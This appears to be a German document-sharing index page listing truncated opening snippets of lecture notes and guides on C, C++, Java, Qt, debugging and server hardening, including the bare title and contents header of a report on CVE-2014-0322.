Programmieren in C. Operatoren, Variablen und deren Sichtbarkeit. Prof. Dr. Nikolaus Wulff Programmieren in C Operatoren, Variablen und deren Sichtbarkeit Prof. Dr. Nikolaus Wulff Auswertung von Ausdrücken Was passiert wenn ein Ausdruck wie z. B. int y,x=2; y = ++x * x++; im Computer abgearbeitet

Mehr

Kapitel 6. Vererbung

Kapitel 6. Vererbung 1 Kapitel 6 2 Ziele Das sprinzip der objektorientierten Programmierung verstehen Und in Java umsetzen können Insbesondere folgende Begriffe verstehen und anwenden können: Ober/Unterklassen Subtyping Überschreiben

Mehr

Grundlagen. Kapitel 1

Grundlagen. Kapitel 1 Grundlagen Dieses Kapitel umfasst grundlegende Fragen und Aufgaben zur Erstellung von C++-Programmen. Hierzu zählen auch das Inkludieren von Header-Dateien Eine Header-Datei beinhaltet Informationen, die

Mehr

Kapitel 6. Vererbung

Kapitel 6. Vererbung 1 Kapitel 6 2 Ziele Das sprinzip der objektorientierten Programmierung verstehen Und in Java umsetzen können Insbesondere folgende Begriffe verstehen und anwenden können: Ober/Unterklassen Subtyping Überschreiben

Mehr

Lehrstuhl für Datenverarbeitung. Technische Universität München. Grundkurs C++ Dokumentation mit Doxygen

Lehrstuhl für Datenverarbeitung. Technische Universität München. Grundkurs C++ Dokumentation mit Doxygen Grundkurs C++ Dokumentation mit Doxygen Doxygen Überblick Grundkurs C++ 2 Doxygen doxygen g Erzeugt Doxyfile Konfigurationsdatei Kann mit Texteditor bearbeitet werden. doxygen Doxyfile Erzeugt Dokumentation

Mehr

Inhalt Streams Eingabe / Ausgbe in C Dateizugriff in C Eingabe / Ausgabe in C++ Dateizugriff in C++ Error Handling

Inhalt Streams Eingabe / Ausgbe in C Dateizugriff in C Eingabe / Ausgabe in C++ Dateizugriff in C++ Error Handling Input / Output in C, C++ Inhalt Streams Eingabe / Ausgbe in C Dateizugriff in C Eingabe / Ausgabe in C++ Dateizugriff in C++ Error Handling Page 1 Ausgaben in C,C++ - generell Fuer C basierte Ausgaben:

Mehr

Verhindert, dass eine Methode überschrieben wird. public final int holekontostand() {...} public final class Girokonto extends Konto {...

Verhindert, dass eine Methode überschrieben wird. public final int holekontostand() {...} public final class Girokonto extends Konto {... PIWIN I Kap. 8 Objektorientierte Programmierung - Vererbung 31 Schlüsselwort: final Verhindert, dass eine Methode überschrieben wird public final int holekontostand() {... Erben von einer Klasse verbieten:

Mehr

Grundlagen der Programmierung Prof. H. Mössenböck. 11. Objektorientierung

Grundlagen der Programmierung Prof. H. Mössenböck. 11. Objektorientierung Grundlagen der Programmierung Prof. H. Mössenböck 11. Objektorientierung Klasse = Daten + Methoden Beispiel: Positionsklasse class Position { private int x; private int y; void goleft() { x = x - 1; void

Mehr

Java - Programmierung - Objektorientierte Programmierung 1

Java - Programmierung - Objektorientierte Programmierung 1 Java - Programmierung - Objektorientierte Programmierung 1 // Klassen und Objekte public class KlaObj public static void main(string args []) Klasse1 a; a = new Klasse1("heute", 47); Klasse1 b = new Klasse1

Mehr

Modellierung und Programmierung

Modellierung und Programmierung Modellierung und Programmierung Dr. Martin Riplinger 9.1.2013 IAM Institut für Angewandte Mathematik Fortgeschrittene Ein- und Ausgabe Bisher: Ein- und Ausgabe nur über die Kommandozeile Erweiterung: Konzept

Mehr

Anleitung für zwei C++ - Openmp - Beispiele auf der NWZSuperdome

Anleitung für zwei C++ - Openmp - Beispiele auf der NWZSuperdome Anleitung für zwei C++ - Openmp - Beispiele auf der NWZSuperdome (Timo Heinrich, t_hein03@uni-muenster.de) Inhaltsverzeichnis: 0.Einleitung 1.Teil: Helloworldprogramm 1.1 Quellcode: Helloworld.cpp 1.2

Mehr

1REMOTE KONFIGURATION

1REMOTE KONFIGURATION 1REMOTE KONFIGURATION Copyright 24. Juni 2005 Funkwerk Enterprise Communications GmbH Bintec Workshop Version 0.9 Ziel und Zweck Haftung Marken Copyright Richtlinien und Normen Wie Sie Funkwerk Enterprise

Mehr

TCP/IP Programmierung. C# TimeServer Java6 TimeClient

TCP/IP Programmierung. C# TimeServer Java6 TimeClient TCP/IP Programmierung C# TimeServer Java6 TimeClient Stand 19.10.11 21:24:32 Seite 1 von 16 Inhaltsverzeichnis Erläuterung...3 Software...3 C#TimeServer...4 Klasse ServerThread...6 Starten und Beenden...7

Mehr

Strehle Software GmbH Am Sybillenstein 22 55232 Alzey

Strehle Software GmbH Am Sybillenstein 22 55232 Alzey Dokumentation Export Tabellen für Excel Stand: 25.06.2004 Autor: Joachim Strehle Die benötigten Module werden in einer ZIP-Datei geliefert, nach dem entzippen steht eine binäre AS/400 SAVF zur Verfügung.

Mehr

MySQL 101 Wie man einen MySQL-Server am besten absichert

MySQL 101 Wie man einen MySQL-Server am besten absichert MySQL 101 Wie man einen MySQL-Server am besten absichert Simon Bailey simon.bailey@uibk.ac.at Version 1.1 23. Februar 2003 Change History 21. Jänner 2003: Version 1.0 23. Februar 2002: Version 1.1 Diverse

Mehr

http://www.stud.uni-potsdam.de/~hoeffi/gdb.html#wozu

http://www.stud.uni-potsdam.de/~hoeffi/gdb.html#wozu gdb: debugging code In der Vorlesung hatte ich Teile von http://www.stud.uni-potsdam.de/~hoeffi/gdb.html#wozu und ein eigenes Beispiel diskutiert. Ein Debugger soll helfen Fehler im Programm, die sich

Mehr

Use-After-Free einmal anders - Teil II CVE-2014-0322. März, 2014. Klassifikation: Öffentliche Version

Use-After-Free einmal anders - Teil II CVE-2014-0322. März, 2014. Klassifikation: Öffentliche Version Use-After-Free einmal anders - Teil II CVE-2014-0322 März, 2014 Klassifikation: IOprotect GmbH Huobstrasse 14 8808 Pfäffikon SZ +41 (0)44 533 00 05 info@ioprotect.ch www.ioprotect.ch 2 Inhaltsverzeichnis

Mehr

Effizienz im Vor-Ort-Service

Effizienz im Vor-Ort-Service Installation: Anleitung SatWork Integrierte Auftragsabwicklung & -Disposition Februar 2012 Disposition & Auftragsabwicklung Effizienz im Vor-Ort-Service Disclaimer Vertraulichkeit Der Inhalt dieses Dokuments

Mehr

Dokumentation Metronom

Dokumentation Metronom Beuth Hochschule für Technik Berlin Fachbereich VII Elektrotechnik Mechatronik Optometrie Studiengang Bachelor Elektrotechnik Dokumentation Metronom Projekt im Labor Mikrocomputertechnik Teilnehmer: Benjamin

Mehr

Grundlagen der Programmierung Prof. H. Mössenböck. 10. Klassen

Grundlagen der Programmierung Prof. H. Mössenböck. 10. Klassen Grundlagen der Programmierung Prof. H. Mössenböck 10. Klassen Motivation Wie würde man ein Datum speichern (z.b. 13. November 2004)? 3 Variablen int da; String month; int ear; Unbequem, wenn man mehrere

Mehr

Grundlagen der Informatik - 6. Praktikum

Grundlagen der Informatik - 6. Praktikum Grundlagen der Informatik - 6. Praktikum In diesem Praktikum soll es neben der Anwendung von Funktionsdefinitionen auch um einfache Prinzipien der verteilten Quelltext-Strukturierung gehen. Diese spielt

Mehr

Datensicherheit. Vorlesung 7: 29.5.2015. Sommersemester 2015 h_da. Heiko Weber, Lehrbeauftragter

Datensicherheit. Vorlesung 7: 29.5.2015. Sommersemester 2015 h_da. Heiko Weber, Lehrbeauftragter Datensicherheit Vorlesung 7: 29.5.2015 Sommersemester 2015 h_da Heiko Weber, Lehrbeauftragter Inhalt 1. Einführung & Grundlagen der Datensicherheit 2. Identitäten / Authentifizierung / Passwörter 3. Kryptografie

Mehr

Qt Programmierung Teil 1 Fenster erstellen by NBBN (http://nbbn.wordpress.com) CrashKurs-Artig. Was brauche ich? -Einige C++ Kenntnisse

Qt Programmierung Teil 1 Fenster erstellen by NBBN (http://nbbn.wordpress.com) CrashKurs-Artig. Was brauche ich? -Einige C++ Kenntnisse Qt Programmierung Teil 1 Fenster erstellen by NBBN (http://nbbn.wordpress.com) CrashKurs-Artig. Was brauche ich? -Einige C++ Kenntnisse Wie man in C++ mit Hilfe von Qt GUI-Anwendungen programmieren kann.

Mehr

Speicherverwaltung. Foliensatz 7: Speicherverwaltung Folie 1. Hans-Georg Eßer, TH Nürnberg Systemprogrammierung, Sommersemester 2013

Speicherverwaltung. Foliensatz 7: Speicherverwaltung Folie 1. Hans-Georg Eßer, TH Nürnberg Systemprogrammierung, Sommersemester 2013 Sep 19 14:20:18 amd64 sshd[20494]: Accepted rsa for esser from ::ffff:87.234.201.207 port 61557 Sep 19 14:27:41 amd64 syslog-ng[7653]: STATS: dropped 0 Sep 20 01:00:01 amd64 /usr/sbin/cron[29278]: (root)

Mehr

TSM-Client unter RedHat/CentOS-Linux einrichten

TSM-Client unter RedHat/CentOS-Linux einrichten TSM-Client unter RedHat/CentOS-Linux einrichten Inhaltsverzeichnis TSM-CLIENT UNTER REDHAT/CENTOS-LINUX EINRICHTEN 1 1. INSTALLATION DES TSM-CLIENTEN 3 2. KONFIGURATION 4 3. EINRICHTUNG DES SCHEDULER ZUR

Mehr

Absicherung von Linux- Rechnern mit grsecurity

Absicherung von Linux- Rechnern mit grsecurity Absicherung von Linux- Rechnern mit grsecurity Brandenburger Linux Infotag, 23. April 2005 Wilhelm Dolle, Director Information Technology interactive Systems GmbH 1 Agenda Grundlagen und Historie von grsecurity

Mehr

Programmentwicklung ohne BlueJ

Programmentwicklung ohne BlueJ Objektorientierte Programmierung in - Eine praxisnahe Einführung mit Bluej Programmentwicklung BlueJ 1.0 Ein BlueJ-Projekt Ein BlueJ-Projekt ist der Inhalt eines Verzeichnisses. das Projektname heißt wie

Mehr